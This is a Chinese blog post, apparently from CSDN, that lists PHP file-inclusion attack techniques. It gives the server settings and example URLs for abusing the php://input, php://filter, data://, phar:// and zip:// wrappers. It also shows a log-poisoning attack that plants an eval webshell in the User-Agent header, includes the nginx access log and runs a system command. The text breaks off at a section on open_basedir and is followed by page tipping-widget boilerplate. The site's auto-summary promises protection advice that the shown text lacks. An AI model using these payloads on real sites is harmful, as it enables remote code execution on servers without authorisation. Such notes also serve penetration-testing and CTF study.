自己遇到的文件包含各种姿势总结

这篇博客总结了PHP文件包含的各种情况,包括伪协议利用、日志包含攻击、session.upload_progress的条件竞争问题、open_basedir限制的规避、PHP LFI利用临时文件Getshell的方法,以及对php://filter的深入探讨,提供了安全防护建议。
摘要由CSDN通过智能技术生成

伪协议

allow_url_fopen=on
allow_url_include=on
php版本小于等于5.3.0
php://input

allow_url_fopen=on
allow_url_include没有要求
php://filter

allow_url_fopen=ON
allow_url_include=ON
php版本大于5.2
data://
或者利用data协议的base64编码

php版本大于等于5.3.0
phar://
index.php?file=phar://test.zip/phpinfo.txt

zip://
但使用zip协议,需要指定绝对路径,同时将#编码为%23,之后填上压缩包内的文件。
index.php?file=zip://D:\phpStudy\WWW\fileinclude\test.zip%23phpinfo.txt

日志包含

User-Agent:<?php eval($_POST[a]);?>
?file=/var/log/nginx/access.log
a=system(‘ls’);

session.upload_progress和条件竞争

https://www.cnblogs.com/NPFS/p/13795170.html

open_basedir

open_based

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值